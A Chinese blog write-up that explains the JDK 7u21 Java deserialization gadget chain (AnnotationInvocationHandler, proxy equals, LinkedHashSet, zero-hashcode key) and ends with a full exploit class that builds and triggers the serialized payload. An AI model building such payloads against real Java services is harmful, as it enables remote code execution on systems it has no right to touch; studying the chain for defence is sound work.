【Web】Java原生反序列化之jdk7u21——又见动态代理

目录

前言

利用链

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

巧用动态代理调用equalsImpl

反序列化的入口:HashSet

hash相等构造

为何还是用了LinkedHashSet

EXP


前言

jdk7u21这条原生链equals那部分和CC7挺像的(前者是新key调用,后者是旧key调用):【Web】Java反序列化之CC7链——Hashtable-CSDN博客

然后动态代理的部分又和CC1挺像的(前者是equals后者是default):

【Web】Java反序列化之再看CC1--LazyMap-CSDN博客

有相关的前置知识,跟起来还挺有意思

利用链

其实走到TemplatesImpl.getOutputProperties()这步大伙就都懂了

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

private Boolean equalsImpl(Object o) {
    if (o == this)
        return true;

    if (!type.isInstance(o))
        return false;
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
        Object hisValue = null;
        AnnotationInvocationHandler hisHandler = asOneOfUs(o);
        if (hisHandler != null) {
            hisValue = hisHandler.memberValues.get(member);
        } else {
            try {
                hisValue = memberMethod.invoke(o);
            } catch (InvocationTargetException e) {
                return false;
            } catch (IllegalAccessException e) {
                throw new AssertionError(e);
            }
        }
        if (!memberValueEquals(ourValue, hisValue))
            return false;
    }
    return true;
}

 hisValue = memberMethod.invoke(o)这里调用了invoke方法,memberMethod 来自于getMemberMethods(),再底层一点就是this.type.getDeclaredMethods()

private Method[] getMemberMethods() {
    if (memberMethods == null) {
        memberMethods = AccessController.doPrivileged(
            new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    final Method[] mm = type.getDeclaredMethods();
                    AccessibleObject.setAccessible(mm, true);
                    return mm;
                }
            });
    }
    return memberMethods;
}

这里的type是通过构造函数传进的一个Annotation的子类

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

总结一下就是,在equalsImpl方法中,遍历了this.type中的所有方法并且执行,若这里的type是恶意TemplatesImpl类或相关的接口,他也会自动遍历方法,并且去执行,即是说他会自动执行我们的TemplatesImpl#getOutputProperties(),从而完成攻击链调用。

前提是,我们要对AnnotationInvocationHandler先进行精心的构造,所谓精心构造,就是给它传入Templates.class(虽不继承自Annotation,但反射不看泛型)作为第一个参数type,不为什么,就为图它的getOutputProperties()是TemplatesImpl调用链的一环。

public interface Templates {

    /**
     * Create a new transformation context for this Templates object.
     *
     * @return A valid non-null instance of a Transformer.
     *
     * @throws TransformerConfigurationException if a Transformer can not be created.
     */
    Transformer newTransformer() throws TransformerConfigurationException;

    /**
     * Get the properties corresponding to the effective xsl:output element.
     * The object returned will
     * be a clone of the internal values. Accordingly, it can be mutated
     * without mutating the Templates object, and then handed in to
     * {@link javax.xml.transform.Transformer#setOutputProperties}.
     *
     * <p>The properties returned should contain properties set by the stylesheet,
     * and these properties are "defaulted" by default properties specified by
     * <a href="http://www.w3.org/TR/xslt#output">section 16 of the
     * XSL Transformations (XSLT) W3C Recommendation</a>.  The properties that
     * were specifically set by the stylesheet should be in the base
     * Properties list, while the XSLT default properties that were not
     * specifically set should be in the "default" Properties list.  Thus,
     * getOutputProperties().getProperty(String key) will obtain any
     * property in that was set by the stylesheet, <em>or</em> the default
     * properties, while
     * getOutputProperties().get(String key) will only retrieve properties
     * that were explicitly set in the stylesheet.</p>
     *
     * <p>For XSLT,
     * <a href="http://www.w3.org/TR/xslt#attribute-value-templates">Attribute
     * Value Templates</a> attribute values will
     * be returned unexpanded (since there is no context at this point).  The
     * namespace prefixes inside Attribute Value Templates will be unexpanded,
     * so that they remain valid XPath values.</p>
     *
     * @return A Properties object, never null.
     */
    Properties getOutputProperties();
}

巧用动态代理调用equalsImpl

sun.reflect.annotation.AnnotationInvocationHandler 这个类实际就是一个InvocationHandler,我们可以将这个对象用Proxy进行代理

我们再回看一下AnnotationInvocationHandler的invoke方法,发现当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

于是乎,我们的问题就变成了什么类的什么方法,在反序列化时会对proxy调用equals方法呢?

反序列化的入口:HashSet

提到equals,我们很容易会想到HashMap&HashSet&Hashtable这些,而这条链采用的正是HashSet来做反序列化的入口,其实和CC7用Hashtable做反序列化入口很相像,底层都调用的是HashMap的操作

我们先来看HashSet#readObject

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

发现其将对象保存在创建的HashMap的key处来做去重

我们再看下HashMap#put

 public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

我们看到了让人非常兴奋的key.equals(k),以及我们非常熟悉的hash相等构造

只要让key为精心构造的AnnotationInvocationHandler套的Proxy(上面已讲),k为恶意TemplatesImpl就大功告成,最终成功调用memberMethod.invoke(TemplatesImpl),也就是TemplatesImpl#getOutputProperties()

再往回退一步,怎么达成上面的key和k的条件呢,这就要求我们先往HashSet里放TemplatesImpl,再往HashSet里放Proxy

hash相等构造

接着上面,来看HashMap#put所调用的hash方法

final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

不难看出,决定hash的关键在于k.hashCode(),所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。

TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们是无法预测的。

作为动态代理,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

意思是遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^
value.hashCode() 并求和。
我们可以做对应的分析:
①当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^
value.hashCode()
②当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode() 。
③当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

所以我们找到一个hashCode是0的对象f5a5a608作为 memberValues 的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。

为何还是用了LinkedHashSet

首先我们要知道LinkedHashSet是HashSet的继承类

public class LinkedHashSet<E>
    extends HashSet<E>
    implements Set<E>, Cloneable, java.io.Serializable

其次,我们可以把其理解为保持元素的插入顺序或访问顺序的HashSet

所以为什么HashSet改用了LinkedHashSet呢?

主要跟反序列化时在HashSet.readObject中调用map.put插入TemplatesImpl实例和Proxy实例前后顺序有关系,因为需要HashMap.put插入时的比较操作来触发命令执行,当插入Proxy实例需要TemplatesImpl实例已经存在才能调用proxy.equals(templatesimpl)

总结来说就是:在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么用 LinkedHashSet 的原因

当然也不是说HashSet就不能用,如果你把下面exp的Linked删去,再运行个几次,会惊喜的发现,还是有几次会弹出计算器的,但LinkedHashSet毕竟胜在稳定。That's all.

EXP

配合的javassist的版本也得低下来

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.17.1-GA</version>
        </dependency>
package com.jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class jdk7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

http://www.niftyadmin.cn/n/5410746.html

相关文章

Python爬虫实战第三例【三】【上】

零.实现目标 爬取视频网站视频 视频网站你们随意&#xff0c;在这里我选择飞某速&#xff08;狗头保命&#xff09;。 例如&#xff0c;作者上半年看过的“铃芽之旅”&#xff0c;突然想看了&#xff0c;但是在正版网站看要VIP&#xff0c;在盗版网站看又太卡了&#xff0c;…

Yocto - Layer

MicroSoft Bing Copilot Yocto 层是 Yocto 项目中的一个基本概念&#xff0c;它是一个功能强大的框架&#xff0c;用于构建专为嵌入式系统和物联网设备定制的 Linux 发行版。让我们深入了解一下 Yocto 层是什么以及它们是如何工作的&#xff1a; 1. 层模型&#xff1a; * Yo…

【web网页制作】html+css网页制作企业网站办公用品主题(3页面)【附源码】

企业网站目录 涉及知识写在前面一、网页主题二、网页效果Page1、主页Page2、用品展示Page3、关于我们 三、网页架构与技术3.1 脑海构思3.2 整体布局3.3 技术说明书 四、网页源码4.1 主页模块源码4.2 源码获取方式 作者寄语 涉及知识 办公用品企业主题HTML网页制作&#xff0c;…

《程序员的职业迷宫:选择你的职业赛道》

程序员如何选择职业赛道&#xff1f; 大家好&#xff0c;我是小明&#xff0c;一名在编程迷宫中探索的程序员。作为这个庞大迷宫的探险者&#xff0c;我深知选择适合自己的职业赛道有多么重要。今天&#xff0c;我将分享一些关于如何选择职业赛道的心得&#xff0c;希望能够帮…

[Redis]——数据一致性,先操作数据库,还是先更新缓存?

目录 一、操作缓存和数据库时有三个问题需要考虑&#xff1a; 1.删除缓存还是更新缓存&#xff1f; 2.如何保证缓存与数据库的操作同时成功或失效 3.先操作缓存还是先操作数据库&#xff08;多线程并发问题&#xff09; 二、 缓存更新的最佳策略 一、操作缓存和数据库时有…

Codeforces-1935E:Distance Learning Courses in MAC(思维)

E. Distance Learning Courses in MAC time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output The New Year has arrived in the Master’s Assistance Center, which means it’s time to introduce a new feature…

Android JNI复杂用法,回调,C++中调用Java方法

Android JNI复杂用法&#xff0c;回调&#xff0c;C中调用Java方法 一、前言 Android JNI的 普通用法估计很多人都会&#xff0c;但是C中调用Java方法很多人不熟悉&#xff0c;并且网上很多介绍都是片段的。 虽然C/C调用Java不常用&#xff0c;但是掌握多一点还是有好处的。…

SpringCloud-数据认证加密总结

一、数据加密认证介绍 在当今分布式系统的日益复杂和信息传递的广泛网络化环境中&#xff0c;确保通信的安全性至关重要。数据的加密和认证作为保障信息传递安全的关键手段&#xff0c;在分布式系统中扮演着不可或缺的角色。Spring Cloud&#xff0c;作为一套构建微服务架构的…